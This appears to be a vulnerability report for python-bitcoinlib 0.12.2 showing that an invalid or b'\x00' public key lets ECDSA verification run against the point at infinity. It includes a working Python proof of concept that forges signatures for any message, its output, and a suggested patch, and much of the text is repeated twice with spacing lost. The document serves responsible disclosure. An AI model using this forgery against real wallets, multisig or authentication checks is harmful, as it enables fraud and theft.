CECKey.verify() (and therefore CPubKey.verify(), VerifyScript(), VerifySignature()) never checks that a valid public key was actually loaded before calling ECDSA_verify(). When the supplied public-key bytes do not decode to a real secp256k1 point, OpenSSL leaves the point at infinity in the EC_KEY, and the library happily verifies against it.
Because the verification equation R = u1·G + u2·Q degenerates to R = u1·G when Q = O, an attacker can forge a signature that verify() accepts, with no private key and a single scalar multiplication, for any message.
CPubKey(b'\x00').is_fullyvalid is additionally True, so even a careful caller that guards with if pub.is_fullyvalid and pub.verify(...) is bypassed.
This is a signature-verification bypass in the security-critical path. It affects master / v0.12.2 (latest release).
bitcoin/core/key.py:
# line 280defset_pubkey(self, key):
self.mb=ctypes.create_string_buffer(key)
return_ssl.o2i_ECPublicKey(ctypes.byref(self.k), ...) # returns NULL on failure# line 429defverify(self, hash, sig):
ifnotsig:
returnFalse# ... de/re-serialize the signature ...# line 454 — self.k is used with NO check that a valid pubkey was loaded:return_ssl.ECDSA_verify(0, hash, len(hash), norm_der, derlen, self.k) ==1# line 583 — is_fullyvalid is just "did o2i return non-NULL", which is True for b'\x00'self.is_fullyvalid=_cec_key.set_pubkey(self) isnotNone
CECKey.set_pubkey() at key.py:280 discards the return value of o2i_ECPublicKey(); CPubKey.verify() at key.py:618 and the script path scripteval._CheckSig() at scripteval.py:129-146 also call verify() without checking that a usable key is present.
OpenSSL's o2i_ECPublicKey() first sets pub_key = EC_POINT_new(group) — which is the point at infinity — and only then calls EC_POINT_oct2point(). When decoding fails it returns NULL but leaves that infinity point installed in the EC_KEY. python-bitcoinlib throws the NULL away and later verifies against the leftover infinity point.
b'\x00' is a special, structural case: 0x00 is the SEC1 encoding of the point at infinity, so o2i_ECPublicKey()succeeds (returns non-NULL) and is_fullyvalid becomes True.
For Q = O, ECDSA verification computes R = u1·G + u2·Q = u1·G, so choosing s = 1 gives u1 = m·s⁻¹ = m and r = x(m·G) mod n. The pair (r, 1) then verifies for message hash m, with no knowledge of any private key.
Bitcoin Core rejects all of these: CPubKey::IsValid() checks size() first (a 1-byte key fails immediately), and CHECKSIG with such a key fails under consensus.
Steps to reproduce
pip install python-bitcoinlib ecdsa (or run against a checkout with PYTHONPATH).- Save the PoC below as
poc_forgery.py. python3 poc_forgery.py.
ecdsa is used only as an independent secp256k1 for the scalar multiply and to sign the control key; it is never used to verify. Environment for the run below: python-bitcoinlib 0.12.2, OpenSSL 3.0.2, Python 3.10.
Proof of concept
importctypesimportbitcoinfrombitcoin.core.keyimportCECKey, CPubKey, _sslfrombitcoin.walletimportCBitcoinSecretfromecdsaimportSECP256k1bitcoin.SelectParams('mainnet')
n=SECP256k1.orderG=SECP256k1.generator_ssl.EC_KEY_get0_public_key.restype=ctypes.c_void_p_ssl.EC_KEY_get0_public_key.argtypes= [ctypes.c_void_p]
_ssl.EC_POINT_is_at_infinity.restype=ctypes.c_int_ssl.EC_POINT_is_at_infinity.argtypes= [ctypes.c_void_p, ctypes.c_void_p]
defresidual_is_infinity(cec):
group=_ssl.EC_KEY_get0_group(cec.k)
pub=_ssl.EC_KEY_get0_public_key(cec.k)
ifnotpub:
returnFalsereturn_ssl.EC_POINT_is_at_infinity(ctypes.c_void_p(group), ctypes.c_void_p(pub)) ==1defder(r, s):
defenc(v):
b=v.to_bytes((v.bit_length() +7) //8or1, 'big')
ifb[0] &0x80:
b=b'\x00'+breturnb'\x02'+bytes([len(b)]) +bbody=enc(r) +enc(s)
returnb'\x30'+bytes([len(body)]) +bodydefforge(msg32):
# s = 1 => u1 = m, R = m*G, r = x(m*G) mod nm=int.from_bytes(msg32, 'big') %nR=m*Greturnder(R.x() %n, 1)
msg=bytes(range(32))
sig=forge(msg)
print("forged signature:", sig.hex())
forname, kbin [("b'\\x00'", b'\x00'), ("b''", b''),
("0xff*33", b'\xff'*33), ("32B truncated", b'\x11'*32)]:
cec=CECKey()
cec.set_pubkey(kb)
print("%-14s residual=%-9s verify(forged)=%-5s is_fullyvalid=%s"% (
name,
"INFINITY"ifresidual_is_infinity(cec) else"other",
cec.verify(msg, sig),
CPubKey(kb).is_fullyvalid))
# controlsreal=CBitcoinSecret.from_secret_bytes(b'\x09'*32)
print("CONTROL forged vs real key (want False):", real.pub.verify(msg, sig))
print("CONTROL genuine vs real key (want True):", real.pub.verify(msg, real.sign(msg)))python-bitcoinlib 0.12.2
==============================================================================
forged signature (hex): 302502206d6caac248af96f6afa7f904f550253a0f3ef3f5aa2fe6838a95b216691468e2020101
message hash (hex) : 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f
PUBLIC KEY BYTES o2i residual pt forged? is_fullyvalid
--------------------------------------------------------------------------------------------
b'\x00' (SEC1 point at infinity) ok INFINITY True True
b'' (empty) NULL INFINITY True False
b'\xff'*33 NULL INFINITY True False
32 bytes, truncated key NULL INFINITY True False
CONTROL 1 (must be False): forged sig against a REAL public key
real_key.verify(msg, forged) = False
CONTROL 2 (must be True): a genuine signature still verifies normally
real_key.verify(msg, genuine) = True
The two controls rule out a broken harness: the forged signature does not verify against a real key, and a genuine signature still verifies.
Impact
CPubKey.verify(), VerifyScript() and VerifySignature() will report as valid a signature that nobody produced, whenever the public key being verified is not a valid curve point. Any application that uses this library to answer "did the holder of this public key sign this?" — multisig / escrow participation checks, contract-signature validation, co-signing gates, an application-level authentication layer — is forgeable by whoever supplies the public-key bytes.
Suggested fix
Make verify() fail closed unless a valid, finite public key is loaded. Two layers:
- In
CECKey.set_pubkey() (key.py:280), check the return value of o2i_ECPublicKey() and reject a public key whose stored point is NULL or at infinity; record that no key is loaded. - In
CECKey.verify() (key.py:429), return False immediately if no valid key is loaded (guard before ECDSA_verify). - Port
CPubKey::IsValid() so is_fullyvalid rejects b'\x00' and any length/prefix that is not a well-formed 33- or 65-byte encoding, and update the test_key.py:27 vector (T('00', True, True, False) → T('00', True, False, False); the file already asks "why is this valid?").
Sketch:
defset_pubkey(self, key):
self.mb=ctypes.create_string_buffer(key)
result=_ssl.o2i_ECPublicKey(
ctypes.byref(self.k), ctypes.byref(ctypes.pointer(self.mb)), len(key))
ifnotresult:
returnNonegroup=_ssl.EC_KEY_get0_group(self.k)
pub=_ssl.EC_KEY_get0_public_key(self.k)
if (notpub) or_ssl.EC_POINT_is_at_infinity(group, pub) ==1:
returnNonereturnresultdefverify(self, hash, sig):
ifnotsig:
returnFalsepub=_ssl.EC_KEY_get0_public_key(self.k)
# reject if no key is loaded OR the residual point is the point at infinityif (notpub) or_ssl.EC_POINT_is_at_infinity(_ssl.EC_KEY_get0_group(self.k), pub) ==1:
returnFalse
(The infinity check in verify() is necessary in addition to the set_pubkey() check, because a failed set_pubkey() leaves the infinity point installed in self.k; guarding only on pub is NULL is not enough — the infinity point is non-NULL. EC_KEY_get0_public_key / EC_POINT_is_at_infinity need restype/argtypes declared alongside the other _ssl.* prototypes.)
Verified locally against master (91e334d): with this patch the four forgeries above are all rejected (verify -> False), a genuine signature against a real key still verifies (verify -> True), and the full test suite passes (149 passed) once the test_key.py:27'00' vector is updated as noted.
Environment
- python-bitcoinlib: master (
91e334d) / v0.12.2 - Python: 3.10
- OpenSSL: 3.0.2 (the point-at-infinity fallback is OpenSSL-side; other 1.1.x/3.x versions behave the same for
b'\x00')
CECKey.verify()(and thereforeCPubKey.verify(),VerifyScript(),VerifySignature()) never checks that a valid public key was actually loaded before callingECDSA_verify(). When the supplied public-key bytes do not decode to a real secp256k1 point, OpenSSL leaves the point at infinity in theEC_KEY, and the library happily verifies against it.Because the verification equation
R = u1·G + u2·Qdegenerates toR = u1·GwhenQ = O, an attacker can forge a signature thatverify()accepts, with no private key and a single scalar multiplication, for any message.CPubKey(b'\x00').is_fullyvalidis additionallyTrue, so even a careful caller that guards withif pub.is_fullyvalid and pub.verify(...)is bypassed.This is a signature-verification bypass in the security-critical path. It affects
master/ v0.12.2 (latest release).bitcoin/core/key.py:CECKey.set_pubkey()atkey.py:280discards the return value ofo2i_ECPublicKey();CPubKey.verify()atkey.py:618and the script pathscripteval._CheckSig()atscripteval.py:129-146also callverify()without checking that a usable key is present.OpenSSL's
o2i_ECPublicKey()first setspub_key = EC_POINT_new(group)— which is the point at infinity — and only then callsEC_POINT_oct2point(). When decoding fails it returnsNULLbut leaves that infinity point installed in theEC_KEY. python-bitcoinlib throws theNULLaway and later verifies against the leftover infinity point.b'\x00'is a special, structural case:0x00is the SEC1 encoding of the point at infinity, soo2i_ECPublicKey()succeeds (returns non-NULL) andis_fullyvalidbecomesTrue.For
Q = O, ECDSA verification computesR = u1·G + u2·Q = u1·G, so choosings = 1givesu1 = m·s⁻¹ = mandr = x(m·G) mod n. The pair(r, 1)then verifies for message hashm, with no knowledge of any private key.Bitcoin Core rejects all of these:
CPubKey::IsValid()checkssize()first (a 1-byte key fails immediately), andCHECKSIGwith such a key fails under consensus.Steps to reproduce
pip install python-bitcoinlib ecdsa(or run against a checkout withPYTHONPATH).poc_forgery.py.python3 poc_forgery.py.ecdsais used only as an independent secp256k1 for the scalar multiply and to sign the control key; it is never used to verify. Environment for the run below: python-bitcoinlib 0.12.2, OpenSSL 3.0.2, Python 3.10.Proof of concept
The two controls rule out a broken harness: the forged signature does not verify against a real key, and a genuine signature still verifies.
Impact
CPubKey.verify(),VerifyScript()andVerifySignature()will report as valid a signature that nobody produced, whenever the public key being verified is not a valid curve point. Any application that uses this library to answer "did the holder of this public key sign this?" — multisig / escrow participation checks, contract-signature validation, co-signing gates, an application-level authentication layer — is forgeable by whoever supplies the public-key bytes.Suggested fix
Make
verify()fail closed unless a valid, finite public key is loaded. Two layers:CECKey.set_pubkey()(key.py:280), check the return value ofo2i_ECPublicKey()and reject a public key whose stored point isNULLor at infinity; record that no key is loaded.CECKey.verify()(key.py:429), returnFalseimmediately if no valid key is loaded (guard beforeECDSA_verify).CPubKey::IsValid()sois_fullyvalidrejectsb'\x00'and any length/prefix that is not a well-formed 33- or 65-byte encoding, and update thetest_key.py:27vector (T('00', True, True, False)→T('00', True, False, False); the file already asks "why is this valid?").Sketch:
(The infinity check in
verify()is necessary in addition to theset_pubkey()check, because a failedset_pubkey()leaves the infinity point installed inself.k; guarding only onpub is NULLis not enough — the infinity point is non-NULL.EC_KEY_get0_public_key/EC_POINT_is_at_infinityneedrestype/argtypesdeclared alongside the other_ssl.*prototypes.)Verified locally against
master(91e334d): with this patch the four forgeries above are all rejected (verify -> False), a genuine signature against a real key still verifies (verify -> True), and the full test suite passes (149 passed) once thetest_key.py:27'00'vector is updated as noted.Environment
91e334d) / v0.12.2b'\x00')